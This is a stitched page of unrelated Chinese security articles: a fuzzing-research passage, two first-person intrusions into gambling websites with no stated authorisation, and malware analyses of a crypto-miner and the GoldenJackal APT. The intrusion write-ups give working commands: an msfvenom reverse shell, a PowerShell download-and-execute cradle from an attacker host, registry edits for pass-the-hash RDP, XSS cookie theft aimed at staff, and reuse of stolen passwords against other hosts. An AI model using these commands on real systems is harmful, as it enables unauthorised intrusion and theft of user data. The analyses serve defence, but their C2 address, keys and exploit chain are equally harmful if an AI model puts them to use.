當發生意外的上下文切換時，開發者必須了解它發生的原因並實施解決方法以達到所需的代碼路徑。這可以通過分析WTF模糊器生成並由0vercl0k的Symbolizer後處理的覆蓋跟踪日誌來完成。下圖顯示了在上下文切換處停止的覆蓋跟踪日誌示例：

14.png

通過Symbolizer生成的覆蓋跟踪日誌示例

這裡沒有復雜的技巧來分析覆蓋跟踪日誌。我們只需進行回溯以定位模塊或函數轉換（即modA!funcnameX-modB!funcnameY）以發現上下文切換的原因。通常，我們將模塊文件加載到IDAPro中以統計研究和理解底層代碼。有時，執行靜態代碼分析可能還不夠，尤其是當代碼包含IDAPro無法自動解析的虛函數調用時。相反，你可以使用TTD來解析虛函數調用或探索執行的代碼。

15.png

覆蓋跟踪日誌揭示了上下文切換的原因

上圖顯示ESENT!CGPTaskManager:ErrTMPost+0xd4調用KERNELBASE!QueueUserWorkItem，本質上是在線程池隊列中放置一個可執行線程，而ESENT!CGPTaskManager:ErrTMPost是從ESENT!VER:VERSignalCleanup派生的。在深入分析該函數後，在TTD的幫助下，我們確定了ESENT!VER:VERSignalCleanup的目的是將當前緩衝區緩存大小與通過JET_paramVerPageSize指定的默認緩存大小進行比較。它調用QueueUserWorkItem來執行緩存清理線程，ESENT！ VER:VERIRCECleanProc，如果當前緩存緩衝區被填滿，最終會導致上下文切換。因此，我們面臨的挑戰是找到一種方法來防止觸發清理程序。

我們首先想到的是，最簡單的解決方法是將默認緩存大小從0x2000增加到其最大大小0x10000。從技術上講，數據庫引擎的配置設置可以根據MSDN文檔使用API JetSetSystemParameter進行調整。但是，我們無法通過使用外部程序來更改駐留在隔離的系統服務進程空間中的設置來實現這一目標。

16.1.png

16.2.png

16.3.png

清單3：顯示系統主機服務集數據庫引擎配置設置的調用堆棧

查看清單3中的調用堆棧，然後我們考慮通過劫持UserDataService並在數據庫引擎配置設置發生之前在ESENT.dll中的特定偏移處調整硬編碼的默認緩存大小來解決此問題。我們決定試一試。

劫持服務DLL很簡單。我們可以定位到目標服務註冊表項，定義如下：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=%SystemRoot%\System32\userdataservice.dll

當ServiceDLL條目調整為我們自定義的服務DLL文件時，它將變成：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=c:\userdatasvc\UserDataSvcProxy.dll

自定義服務DLL導出兩個強制模型函數，ServiceMain和SvchostPushServiceGlobals。修改上述註冊表項後，系統服務將加載自定義服務DLL，該DLL執行模型ServiceMain函數。模型ServiceMain函數將在ESENT.dll中的特定偏移處修補JET_paramVerPageSize。打補丁後，它會將執行傳遞給UserDataService導出的初始ServiceMain函數，並像往常一樣繼續它的初始例程。

17.1.png

17.2.png

17.3.png

清單4：顯示自定義服務DLL劫持UserDataService的調用堆棧

設置完後，我們針對新的快照映像運行模糊器模塊，並加載了自定義服務DLL，該DLL應將緩存大小調整為0x10000。但不幸的是，它仍然hits=清理過程。因此，我們需要找出另一種解決方法。

我們查看了ESENT!VER:VERSignalCleanup，但意識到該函數不返回調用函數的值，這使我們相信函數例程並不關心這個清理過程是否成功執行。最重要的是，它似乎不跟踪任何可能導致ESENT中意外行為的全局狀態或事件。考慮到這些，我們決定跳過這個清理過程，只需設置一個斷點來模擬這個函數，即在命中斷點時立即返回到調用者，如下圖所示：

18.png

跳過ESENT!VER:VERSignalCleanup以避免上下文切換

這樣，我們的模糊器模塊可以在清理過程之外執行，而無需點擊上下文切換！但是，需要注意的是，這可能會大大增加快照映像內的內存使用量。但這不應該給我們帶來任何潛在的問題，因為一旦完成模糊測試迭代，快照映像就會恢復到其原始狀態。換句話說，懸空緩存緩衝區可以忽略不計。

挑戰2：加載一個卸載的DLL並執行分頁內存如果你熟悉軟件模擬，就會明白讓模擬器的行為像本機計算機一樣是不可能的。同樣的事情也適用於WTF模糊器。當出現這種限制時，我們需要找到解決方法。但根據面臨的限制的複雜性，有些解決辦法可能很簡單，有些解決辦法就像調整快照映像一樣簡單。

我們遇到的下一個問題是，當WTF嘗試從文件系統加載已卸載的DLL文件時會發生上下文切換。同樣，我們通過分析覆蓋跟踪日誌和一些代碼片段確定了問題的根本原因，如下圖所示。從覆蓋跟踪日誌中，我們可以看出CoCreateInstanceAPI是從MCCSEngineShared!Decode2047Header+0xfe調用的。此COMAPI負責加載在類ID中指定的COM對象，在本例中為CLSID_CMultiLanguage。此類ID對應於C:\WINDOWS\SYSTEM32\mlang.dll。

19.png

加載卸載的DLL文件

有了這些信息，我們手動將COM對象DLL注入目標進程，將映像轉儲為新的快照，並對其進行測試。結果，它超越了MCCSEngineShared!Decode2047Header，但我們遇到了另一個問題。

20.png

由內存訪問錯誤導致的另一個上下文切換

查看上圖中的覆蓋跟踪日誌後，我們意識到發生了從用戶模式exsmime!CMimeReader:FindBoundary到內核模式nt!MiUserFault的異常代碼執行轉換。我們的經驗表明，模擬器可能已命中保留的內存地址或換出到頁面文件的內存地址。這是一種常見的Windows內存管理機制，出於性能原因將不經常使用的內存保留在頁面文件中。為了驗證這一點，我們使用WinDbg調試器加載內存轉儲並檢查在exsmime!CMimeReader:FindBoundary+0x4f處指定的代碼，如圖10所示。

21.png

調用虛函數時的內存訪問錯誤

它從虛函數表中調用虛函數，但虛函數的目的地exsmime!CHdrContentType:value是通過TTD快照確定的，如下圖所示：

22.png

使用TTD確定虛函數的目的地址

為了解決這個內存訪問問題，我們運行了lockmem實用程序，它確保指定進程的每個可用內存區域都將保留在內存中，因此它不會被寫入頁面文件，這會在訪問時引發頁面錯誤。為獲得最佳結果，始終建議執行完整的內存轉儲，以避免其他不可預見的內存訪問問題。當你對內核模式組件進行模糊測試時，此技巧特別有用。

挑戰3：註冊表掛鉤Windows註冊表是一個分層數據庫，用於存儲Windows操作系統和應用程序的低級設置。該數據庫將註冊表配置單元的信息保存在文件系統中。也就是說，註冊表操作在一定程度上涉及到I/O操作。由於模擬器都不支持這些操作，因此我們需要復制這些功能。

在撰寫本文時，WTF提供了一個fshook子系統來複製I/O操作，但不提供註冊表掛鉤（此後是reghook）。顯然，我們不能為reghook重用fshook，因為它們是不同的API，但我們可以將fshook中的一些實現調整為reghook。例如，我們可以重用fshook和RegHandleTable_t類中的偽句柄算法。 fshook和reghook之間的關鍵區別在於如何模擬預期內容（(即用於I/O操作的文件內容和用於註冊表操作的註冊表數據）。例如，對於reghook，如果註冊表操作要打開一個新句柄，則調用RegOpenKeyAPI來打開特定註冊表項的句柄。其對應的鉤子處理程序將API調用重定向到本機。換句話說，本機設備將嘗試使用本機API打開註冊表項，如果註冊表項存在，則返回句柄。打開的句柄對本機有效，但對作為內存轉儲的客戶機無效。因此，應該生成一個偽句柄並將其映射到本機句柄。

重申一下，當前的regook實現是不完整的，並且沒有針對其他目標進行全面測試。但是擴展現有的regook以支持其他註冊表API應該相當簡單。

奇特的RFC822.SIZE案例在部署和分發模糊器模塊後，我們開始收集模糊器收集的有趣輸入。從那裡，我們開始生成代碼跟踪，並使用Lighthouse插件將其加載到IDAPro中以進行進一步分析。

我們首先對InternetMail.dll進行逆向工程，以找到操縱變異輸入的代碼，特別是模糊器提供給目標的ResponseParams。此時，FETCH響應中的一個有趣的ResponseParams，RFC822.SIZE，立即引起了我們的注意。經查，RFC822.SIZE是FETCH命令的屬性之一，表示消息的大小。簡單地說，它告訴電子郵件客戶端到達客戶端的整個電子郵件消息的大小，包括電子郵件標題、內容和附件。

有趣的是，從清單5中的代碼片段來看，該值的代碼清理非常簡單，只需確保消息的大小不是4GB（基數為10的4294967295或32位十六進制的0xFFFFFFFF）即可。這樣做時會產生錯誤。

23.png

清單5：獲取RFC822.SIZE並將其保存在數據結構中

在(1)中，如果strtoul無法執行有效轉換，則返回零值。但是，似乎(2)中的代碼清理沒有意義，因為4294967294（32位十六進制中的0xFFFFFFFE）之類的值可能會繞過檢查並造成算術溢出，如果該值將用於某些算術運算代碼中的某處。在深入研究代碼後，我們只發現了一個操縱該值的函數。毫不奇怪，我們在這裡看到了相同的代碼清理。

24.1.png

24.2.png

清單6：HeaderParser:_PostNewMessageCreation操作RFC822.SIZE

在(A)中，從pImapSyncContext中檢索到v1指針，表明未知指針可能與某些保持某些同步狀態的數據結構有關。進一步查看代碼，我們在(B)和(C)中看到兩個算術運算。對於(B)，根據RFC822.SIZE的值進行增量操作，並將增量值的結果保存到v1指針，而RFC822.SIZE值在(C)中聚合。這似乎值得深入研究。

因此，我們準備了一個由多個FETCHResponseParams和偽造的RFC822.SIZE組成的IMAP數據包，然後使用TTD捕獲執行的代碼。

25.1.png

25.2.png

25.3.png

25.4.png

25.5.png

清單7：具有兩個FETCH響應參數的IMAP數據包使用偽造的RFC822.SIZE

26.1.png

26.2.png

26.3.png

清單8：調試器輸出顯示v1指針中RFC822.SIZE的聚合值

清單8中突出顯示的區域清楚地表明聚合值溢出了v1指針中的相鄰字段。但我們不確定被覆蓋的字段是否會帶來任何安全問題。因此，我們需要確定此原始內存的數據結構字段。我們使用TTD.Utility.GetHeapAddress來顯示堆的起始地址以及分配和初始化堆地址的位置。

27.1.png

27.2.png

v1指針的GetHeapAddress輸出和堆分配調用堆棧

根據TTD.Utility.GetHeapAddress的輸出，我們確定v1指針的起始堆地址為0x251a1f58f60，並從SYNCUTIL!SyncStatsHelpers:_LookupAccountSyncStats初始化。在這個函數中，我們意識到v1指針被傳遞給SYNCUTIL!SyncStatsHelpers:_LoadSyncStats，它將各種統計信息加載到v1指針引用的數據結構中。

28.1.png

28.2.png

28.3.png

HireHackking

某菠菜网站的渗透

1、偶然间发现一个菠菜站点，遂测试一番，思路如下：既然是菠菜站，肯定会让用户注册，否则怎么收钱了？注册这种和用户强交互的页面，可能存在的漏洞如下：

  • sql注入：用户输入的账号信息，如果不经过滤直接用来写入或查询数据库，肯定存在sql注入
  • xss：在输入框输入的个人信息，大概率会被展示在用户的页面；同时管理员肯定有权限在后台查看用户的个人信息，这里可能会有存储型xss；就算是反射型或DOM型xss，由于这类站点有客服，可以想办法诱骗客户点击链接，达到偷cookie或其他目的；
  • 平行越权：用户登陆时、登陆后查看某些页面，此时抓包，如果有类似id字段，通过更改id号可能能看到其他用户、甚至管理员的信息
  • CSRF：修改账号信息，比如密码；或则修改邮箱，再通过邮箱修改密码；
  • 支付漏洞：抓包改参数，造成0元支付

2、顺着这个思路，不管三七二之一，先上工具试试注册页面，结果如下：发现2个高危的xss；

3y3gferadee12832.png

 （1）先看第二个：把提示的参数换成检测工具的payload后，页面如下：自己的payload居然被完整的在页面展示，没有任何过滤，高兴死我了；

qjtojfdwmbv12835.png

        由于payload本身就在JS内部，所以刚开始并未构造script标签，而是直接用类似 '19736%0a',}%0aalert(666);%0a' 这种payload，目的是让alert(666)直接暴露在后台原有的script标签里，但反复尝试了好多个都不行，只能调整思路，重新构造script标签，这次成功，如下；说明这个xss没误报；

  2yyad531w3k12837.png

        另一个是cookie里面的，把sessionid改了，也能直接出现在页面的html源码；和上面第一个类似，都可以构造script执行自己的js代码；不过由于不知道后台源码，不能确定这里是否是存储型xss，也不能通过构造url诱骗别人点击，我个人觉得意义不大，这里不再验证；

  v2ble0hlq4c12842.png

由于目前还无法登陆后台，其他xss是否是存储型还不确定，现阶段暂不继续验证其他xss漏洞；

  vxshoswky2e12849.png

（2）登陆界面抓包，用户名和密码居然明文传输，WTF.......

 0hrsjdimstp12852.png

        放过后，又抓到新包，放入repeater尝试：里面有个字段captcha是验证码，删掉后服务器任然会执行，并且不会提示验证码错误，而是用户名或密码错误，省了不少事；先用正确的账号测试，发现返回的status是Y，一切正常；

   1jjhwgbuce112855.png

        然后开始用 单引号、双引号、括号、') or 1=1 -- qwe 等各种sql注入的payload尝试，返回都如下：

　w2a45ui4mtq12858.png

    右边那一串native编码解码后为: “请输入4-15个字元, 仅可输入英文字母以及数字的组合”； 看来是有意做了过滤，只能输入字母和数字，并且不能输入任何特殊符号，这里大概率不存在sql注入；（有些站点前端页面也有说说明，并且实在后台服务器端检验，不是再前端用js检验，想用burp抓包后改字段也不行）

    5z4yz5a12gr12861.png

   （3）平行/垂直越权：有些站点登陆后，cookie里面会带上各种id，比如uid=123、groupid=456、telno=135000387465等等，很容易看出字段的含义，并且更改数值后看到其他用户甚至管理员的数据；但这里的cookie都是各种session，剩下各种数字的字段无法看出啥含义，用burp尝试不同的数值都返回status:N，这条路也走不通；

　（4）0元支付：在支付界面抓包，把request包的内容解码，发现里面又sign字段，会对其他字段做校验，改金额的话需要逆向校验算法，再重新计算sign值，这里暂时放弃；PS：这里终于暴露了user_id；

g5xjttk1rlw12863.png

3、通过xray扫描，发现一个resin-viewfile漏洞。

    np3vh4edxst12865.png

    根据扫描提示，改file=xxxx的内容，果然能查到部分文件，比如下面的配置文件；

    l0ngi4j4ny012867.png

    ps3q2pczopa12869.png

 　2ftklt51ae212871.png

 　这个漏洞类似SSRF，可以遍历内网文件；遂在github找漏洞利用的工具，同时用burp跑字典挨个穷举目录和文件，但只发现了如下文件，都是常规的文件和路径，没找到预期的各种配置（比如账号）文件；

    nqn3wrig45p12873.png

 　想遍历C盘，貌似有防护；

     k0mydxmterk12874.png

       这个漏洞暂时放弃；

4、截至目前，已发现能利用的只有XSS，而且还是反射型的，只能先找个xss平台生成一个偷cookie的script标签，嵌入到有xss漏洞的url，然后找到客服MM，诱骗其点击；结果客服MM不但没上当，还发我新链接，让我重新试试新的站点，WTF.........

 　 好吧，重试就重试，于是继续搞新站点；用账号登陆新站点后，主要找和用户有交互的页面（这里涉及大量传参，可以改动的空间很大，出现漏洞的几率比静态网页大很多）；花了大量时间，查看了无数链接后，貌似出现了转机，如下：

       mlutsxwcwek12875.png

　　这里返回了一个json串，里面有账号名、电话、昵称、权限等各种敏感数据，url里面还有client关键词，难道这是查看用户信息的接口？马上用burp抓包，更改url中纯数字的参数（纯数字意味着索引，而且容易穷举），果然不出所料，炸出部分注册用户的信息：

　　wsd3go1n3va12876.png

   5、另外，通过xray还发现了CORS漏洞（数以CSRF的一种），也要想办法诱骗客户、管理员或平台其他的用户点击，这里暂时不深入；

   ldvv2kqou5l12877.png

        这个菠菜站点总结：1、用户在form的输入做了严格限制，sql注入和xss都屏蔽   2、resin漏洞不痛不痒，拿不到敏感数据  3、支付：有sign字段校验，需要先破解校验算法  4、最终有个页面传参未做校验，通过更改数字类参数的值爆破出了部分用户信息； 5、可能是因为业务原因，前端页面暂时没有找到任何上传文件的地方，目前还找不到上传小马的方法；

参考：1、 https://blkstone.github.io/2017/10/30/resin-attack-vectors/  针对Resin服务的攻击向量整理




转载于原文链接地址： https://www.cnblogs.com/theseventhson/p/13738535.html


HireHackking

sl-abstract-data-tech-complex-orange-blue-1200-1200x600.jpg

2022年6月，卡巴斯基實驗室的研究人員在一個系統進程的內存中發現了一個可疑的shellcode。為此，他們深入分析了shellcode是如何放置到進程中的，以及受感染系統上的威脅隱藏在何處？

感染鏈雖然研究人員無法複製整個感染進程，但他們能夠從PowerShell執行的位置重建它，如下圖所示。

1.png

攻擊流程

簡而言之，感染鏈如下：

马云惹不起马云PowerShell腳本通過任務計劃程序運行，並從遠程服務器下載lgntoerr.gif文件；

马云惹不起马云該腳本解密lgntoerr.gif，生成一個.NET DLL，然後加載該DLL；

马云惹不起马云.NET DLL從其資源中提取並解密三個文件：兩個DLL和一個加密的有效負載。提取的文件被放置在ProgramData目錄中。

马云惹不起马云.NET DLL創建一個任務，在系統啟動時通過任務調度程序自動運行合法的ilasm.exe組件；

马云惹不起马云任務調度程序從ProgramData目錄啟動ilasm.exe；

马云惹不起马云ilasm.exe從同一目錄啟動fusion.dll，這是一個惡意的DLL劫持程序；

马云惹不起马云fusion.dll加載第二個解密的DLL；

马云惹不起马云該DLL創建一個掛起的dllhost.exe進程；

马云惹不起马云然後，它對加密的二進製文件中的有效負載進行解密；

马云惹不起马云解密後的有效負載作為DLL加載到dllhost.exe進程中；

马云惹不起马云dllhost.exe進程的PID保存在ProgramData目錄中的一個文件中；

马云惹不起马云dllhost.exe進程將控制權傳遞給解密的有效負載；

马云惹不起马云 有效負載DLL提取並在內存中啟動挖礦DLL；

他們把這個惡意軟件命名為Minas。根據研究人員對感染鏈的重建，他們確定它是通過將編碼的PowerShell腳本作為任務運行而產生的，他們不太確信該腳本是通過GPO創建的：

2.png

編碼的PowerShell命令

技術細節PowerShell腳本的核心功能是啟動惡意軟件安裝進程。為此，PowerShell腳本從遠程服務器下載加密有效負載，使用自定義異或加密算法(密鑰為“fuckkasd9akey”)對其解密，並將負載加載到內存中：

3.png

已解碼的PowerShell命令

負載是由PowerShell進程啟動的.NET二進製文件（DLL），它傳遞三個參數：

$a.GetType(“I.C”).GetMethod(“I”).Invoke($null, ([Byte[]]($d),”A5D9FD13″,0));

1.$d:NET DLL作為字節數組；

2.A5D9FD13:（用於對.NET DLL中的資源進行解密的密鑰）；

3.0:（用於阻止創建多個主有效負載進程的參數）；

此.NET二進製文件（他們將其稱為“安裝程序”）負責.NET DLL資源中包含的惡意軟件組件的後續安裝。

使用哈希函數(Ap, SDBM, RS)，安裝程序創建一個目錄結構：

4.png

示例文件和目錄

接下來，它檢查系統上是否存在合法的ilasm.exe文件(版本4.0.30319位於%windir%\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe或版本2.0.50727位於%windir%\Microsoft.NET\Framework64\v2.0.50727\ilasm.exe)。注意，如果系統上存在ilasm.exe，它應該在這些目錄之一中)。如果沒有找到該文件，安裝進程將被終止。只要找到ilasm.exe，就會創建一個計劃任務作為持久機制:

5.png

在此之後，文件被複製到前面提到的創建的目錄中

然後，惡意軟件繼續將安裝程序的前100個字節附加到從“_64_bin”. net DLL資源中提取的文件{RSHash(MachineName)}中，並且生成的文件被加密(密鑰是小寫的計算機名稱)。另外，在“fusion.dll”和“{SDBMHash(MachineName)}.dll”文件中添加了多達10240個隨機字節，導致反惡意軟件產品的哈希檢測無效。

之後，安裝程序為運行的ilasm.exe啟動先前創建的任務，該任務反過來加載位於同一目錄下的惡意fusion.dll庫，假設它正在使用合法的fusion.dll (DLL劫持技術)。

惡意軟件的執行進程包括兩個加載程序：DLL劫持程序fusion.dll和下一階段的加載程序{SDBMHash(MachineName)}. DLL。

DLL劫持程序做三件事：

1.隱藏ilasm.exe進程的控制台。

2.確定進程名是否為ilasm.exe。如果不是，則終止進程。

3.基於SDBM哈希函數，它構建路徑C:\ProgramData\{SDBMHash(MachineName)}\{SDBMHash(MachineName)}. DLL並嘗試通過LoadLibraryA API函數將該DLL加載到內存中。

加載的{SDBMHash(MachineName)}.dll DLL再次檢查進程名是否為ilasm.exe。

然後生成文件路徑C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}並檢查它是否存在。如果文件存在，則從中讀取值(十進制數)。這個十進制數字是dllhost.exe進程的PID乘以先前運行Minas時創建的0x144。加載程序然後嘗試用該PID終止進程。

然後，它讀取並解密(記住，密鑰是小寫的計算機名稱)位於C:\ProgramData\{ApHash(MachineName)}\{RSHash(MachineName)}\{RSHash(MachineName)}的主有效負載(挖礦)。此外，加載器創建一個進程環境變量(SetEnvironmentVariable)配置，其值為{“addr”:”185.243.112.239:443″,”p”:”143e256609bcb0be5b9f9c8f79bdf8c9″} 。

6.png

通過進程傳遞參數

之後，{SDBMHash(MachineName)}.dll創建一個掛起的dllhost.exe進程，創建一個節，將其映射到dllhost.exe進程並寫入先前讀取和解密的文件(帶有挖礦組件的原始加載器)。然後它讀取dllhost.exe進程的內存，確定主線程的入口點並將其重寫為：

7.png

然後將創建的dllhost.exe進程的PID乘以0x14f寫入C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}，之後dllhost.exe進程繼續運行。然後終止ilasm.exe進程。

最後，DLL .exe將控制流傳遞給解密的原始加載器，該加載器在進程內存中映射XMRig挖礦程序(XMRig挖礦程序的DLL文件形式的彙編)，然後使用反射加載啟動它。

挖礦程序使用(GetEnvironmentVariable)獲取進程環境變量配置的值。這些值用於通過以下配置挖掘加密貨幣:

8.png

8.2.png

總結Minas是一個使用標準實現並旨在隱藏其存在的挖礦程序。由於加密、隨機生成名稱以及使用劫持和注入技術，檢測難度得以實現。它還能夠使用持久性技術駐留在受感染的系統上。

雖然研究人員目前還無法完全確定初始PowerShell命令是如何執行的，但很可能是通過GPO執行。

HireHackking

0x00 前言

闲着无聊，网上随便找了一个菠菜进行简单测试，并做笔记记录，大佬们轻喷，有什么不足之处请指教。

0x01 弱口令

访问网站就是一个登录页面，没有验证码直接bp开启，成功爆出弱口令admin/123456，直接进入后台。

图片


0x02  注入拿下权限

翻看了很多功能点，在一处功能点发现上传接口，并尝试上传文件，发现无法上传，加了白名单。直接选择放弃，继续寻找。在某一个http://url/GroupMember.aspx?gid= 参数上加上单引号，直接报错，SQL注入这不就来了么。

图片

说干就干，直接SQLMAP。

图片

发现为MSSQL，且DBA权限，直接--os-shell

图片

上线MSF
已经获取普通权限，接下来就是上线msf提权。msf生成powershell脚本，并放置在网站目录下。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection >xx.ps1

图片

Vps开启监听

图片

使用powershell上线session
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))"

图片

如果想要通过url拼接堆叠执行powershell会存在一个问题，就是单引号闭合问题。我们可以通过对powershell进行编码一下，这样就可以绕过单引号的问题。下面推荐一个不错的网站。
https://r0yanx.com/tools/java_exec_encode/提权
session已经上线，接下来目标就是获取system权限。很幸运直接getsystem可以获取system权限。如果需要提权推荐土豆家族提权，实战中成功率很高，影响的服务器版本也很多。

图片

迁移一下进程，防止进程掉线。

图片

远程登录服务器
发现服务器开启3389端口，因为是system权限，且为2012系统，大于2008版本都是无法抓到明文密码，直接修改adminnistrator密码。（实战中不推荐直接修改管理员密码）

图片

图片

利用hash远程登录管理员账号
因为是win2012无法获取明文密码，直接修改管理员密码稍有些不妥。尝试通过获取管理员NTLM远程登录机器。（并非同一台，这只是提供一个思路）

图片

使用hash远程登录RDP，需要开启"Restricted Admin Mode"
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启

图片

成功利用hash远程管理员桌面

图片

图片

04

0x03 其他

前期发现1433端口开放着，寻找数据库配置文件，登录数据库。

图片

通过fofa找了一下，资产还是挺多的，且很多都开放1433端口，猜测会存在同一个人部署的网站，尝试用获取的密码对这些资产的1433端口进行爆破，成功撞到几台数据库，且都是sa权限。结束。

图片



转载于原文链接： https://mp.weixin.qq.com/s/kj55hbZMC9jF6xmbzXWu4whttps://xz.aliyun.com/t/12501


HireHackking

GoldenJackal是一家APT組織，自2019年開始活躍，通常針對中東和南亞的政府和外交機構。儘管他們早在幾年前就開始了活動，但該組織似乎沒有被詳細介紹過。

卡巴斯基實驗室的研究人員早在2020年中開始監測該組織，觀察到這是一個極其專業的組織。該組織的主要開發.NET惡意軟件、JackalControl、JackalWorm、JackalSteal、JackalPerInfo和JackalScreenWatcher等特定工具集，目的是：

马云惹不起马云控制受害者計算機；

马云惹不起马云在使用可移動驅動器的系統中傳播；

马云惹不起马云從受感染的系統中竊取某些文件；

马云惹不起马云竊取憑據；

马云惹不起马云收集有關本地系統的信息；

马云惹不起马云收集有關用戶網絡活動的信息；

马云惹不起马云 截取桌面的屏幕截圖；

根據工具集和攻擊者的行為，研究人員認為GoldenJackal APT組織的主要動機是間諜活動。

攻擊途徑研究人員發現攻擊者假冒Skype安裝程序，使用惡意Word文檔。

另一個已知的攻擊途徑是一個惡意文檔，它使用遠程模板注入技術下載惡意HTML頁面，該頁面利用了Follina漏洞。

1.png

這份文件被命名為“Gallery of Officers Who Have Received National And Foreign Awards.docx”的文件似乎是合法的，旨在收集巴基斯坦政府授予勳章的官員的信息。值得注意的是，Follina漏洞是在2022年5月29日首次被公佈，該文檔似乎在發布兩天后的6月1日進行了修改，並於6月2日首次被檢測到。

該文檔被配置為從合法且已被攻擊的網站加載外部對象：

hxxps://www.pak-developers[.]net/internal_data/templates/template.html！

2.png

用於加載遠程資源的代碼段

遠程網頁是公共“概念證明”的修改版本，用於利用Follina漏洞。原始PoC可在GitHub上獲得。攻擊者將IT_BrowseForFile變量值替換為以下值：

3.png

利用Follina漏洞的代碼段

解碼後的字符串為：

4.png

解碼腳本該漏洞會下載並執行託管在合法受攻擊網站上的可執行文件，並將其存儲在以下路徑中：“%Temp%\GoogleUpdateSetup.exe”。下載的文件是JackalControl惡意軟件。

在其他情況下，研究人員沒有發現真正的攻擊途徑，他們還觀察到在橫向活動進程中系統受到攻擊。具體來說，研究人員觀察到攻擊者使用psexec實用程序啟動惡意批處理腳本。

5.png

批處理腳本執行各種操作，例如安裝Microsoft .Net Framework 4、用JackalControl木馬感染系統並收集有關係統的信息。

6.png

JackalControl這是一種木馬，允許攻擊者通過一組預定義和支持的命令遠程控制目標計算機。信息是通過HTTPS通信信道在惡意軟件和C2服務器之間進行接收的，並且可以指示植入進行以下任何操作：

马云惹不起马云使用提供的參數執行任意程序；

马云惹不起马云下載任意文件到本地文件系統；

马云惹不起马云從本地文件系統上傳任意文件；

在過去幾年中，攻擊者多次更新該工具，已出現了多種變體。接下來，我們將描述2023年1月觀察到的最新版本（8C1070F188AE87FBA1148A3D791F2523）。

該木馬是一個可執行文件，可以作為標準程序或Windows服務啟動。

它需要一個參數，該參數可以等於以下一個值：

马云惹不起马云/0：作為標準程序運行，只與C2服務器聯繫一次；

马云惹不起马云/1：作為標準程序運行，並定期聯繫C2服務器；

马云惹不起马云/2：作為Windows服務運行；

惡意軟件參數和相關的惡意軟件行為根據變體而變化。一些變體只提供兩個參數：

马云惹不起马云/0作為標準程序運行；

马云惹不起马云/1作為Windows服務運行；

其他變體可以自我安裝不同的持久性機制。惡意軟件的執行流程由運行該惡意軟件的命令行中提供的參數決定。

马云惹不起马云/h0：將通過創建Windows計劃任務使惡意軟件獲得持久性；

马云惹不起马云/h1：將通過創建相應的註冊表運行項使惡意軟件獲得持久性；

马云惹不起马云/h2：將通過創建Windows服務使惡意軟件獲得持久性；

马云惹不起马云/r0：作為標准進程運行（此參數由Windows計劃任務指定）；

马云惹不起马云/r1：作為標准進程運行（此參數由生成的註冊表運行項值指定）。

马云惹不起马云/r2：作為服務運行（此參數由創建的Windows服務指定）。

攻擊者已經將不同的變體進行了傳播：有些包括用於維護持久性的代碼，另一些則被配置為在不感染系統的情況下運行；並且感染進程通常由諸如上述批處理腳本之類的其他組件執行。

惡意軟件通過生成BOT_ID開始其活動，這是用於識別受攻擊系統的唯一值。此值源自其他幾個基於主機的值：

從以下WMI查詢中獲得的UUID值：

7.png

從以下註冊表項獲取的計算機GUID:

8.png

從另一個WMI查詢中獲得的額外驅動器的列表，這反過來允許他們確定' PHYSICALDRIVE0 '的' SerialNumber '：

9.png

收集到的信息被連接在一個字節數組中，然後用MD5哈希，MD5被用作創建BOT_ID的種子。用於生成後者的算法只是對結果MD5哈希中每兩個連續字節求和，並將所得字節（模數256）作為最終BOT_ID的單個字節。下面的代碼片段描述了這種邏輯，它取自惡意軟件。

10.png

用於生成BOT_ID的代碼段

生成的BOT_ID還用於初始化DES密鑰和IV，然後用於加密與C2的通信。

惡意軟件使用HTTPPOST請求進行通信，其中數據參數將以編碼形式作為請求主體的一部分進行傳播。然後，整個請求結構將顯示如下：

11.png

一個有效的響應應該以以下方式形成：

12.png

響應使用base64進行解碼：生成的有效負載是一個字符串數組，其中使用的分隔符是標準的Windows新行序列-“\r\n”。每一行都用base64再次解碼，用DES解密，並用GZIP算法解壓縮。

每個命令都具有以下結構：

13.png

命令結構

00：執行——使用指定的參數執行任意程序。如果攻擊者將NoWait標誌設置為False，則惡意軟件會重定向進程輸出，讀取數據並將其轉發給C2；

01：下載——從本地系統讀取文件並將其上傳到服務器；

02：上傳——使用攻擊者指定的文件路徑將接收到的數據保存到本地系統。

命令數據字段旨在攜帶有關命令參數的信息，並且對於每種操作類型具有不同的結構，如下所述：

14.png

命令結果通常被組成一條消息，該消息還包括底層命令類型和命令ID的值，該值唯一地標識向惡意軟件發出的命令的示例。這三個值用GZIP壓縮，用DES加密，並用base64編碼。

生成的有效負載使用“|”字符與BOT_ID連接，再次使用base64編碼，然後使用上述POST請求格式將其上傳到遠程服務器。

安裝程序模式一些變體可以感染系統，在特定位置創建惡意軟件的副本，並保證其持久性。

惡意軟件位置是通過特定進程選擇的，它枚舉CommonApplicationData中的所有子目錄，並隨機選擇一個子目錄保存其副本。生成的文件名將以子目錄的名稱作為後綴，並附加另一個靜態值Launcher.exe，如下所示：

15.png

如果操作成功，它還會更改新的文件時間戳，並使其與所選子目錄的時間戳相同。

如果操作失敗，它會隨機選擇另一個目錄，並再次嘗試複製惡意軟件。

如果對所有子目錄的操作都失敗，它將嘗試使用硬編碼目錄名列表：

马云惹不起马云Google

马云惹不起马云Viber

马云惹不起马云AdGuard

马云惹不起马云WinZip

马云惹不起马云WinRAR

马云惹不起马云Adobe

马云惹不起马云CyberLink

马云惹不起马云Intel

如果所有嘗試都失敗了，它將嘗試在以下位置使用相同的進程：

马云惹不起马云ApplicationData

马云惹不起马云LocalApplicationData

马云惹不起马云Temp

持久性能力惡意軟件的持久性通常通過以下機制來保證：

马云惹不起马云服務安裝；

马云惹不起马云創建新的Windows註冊表項值；
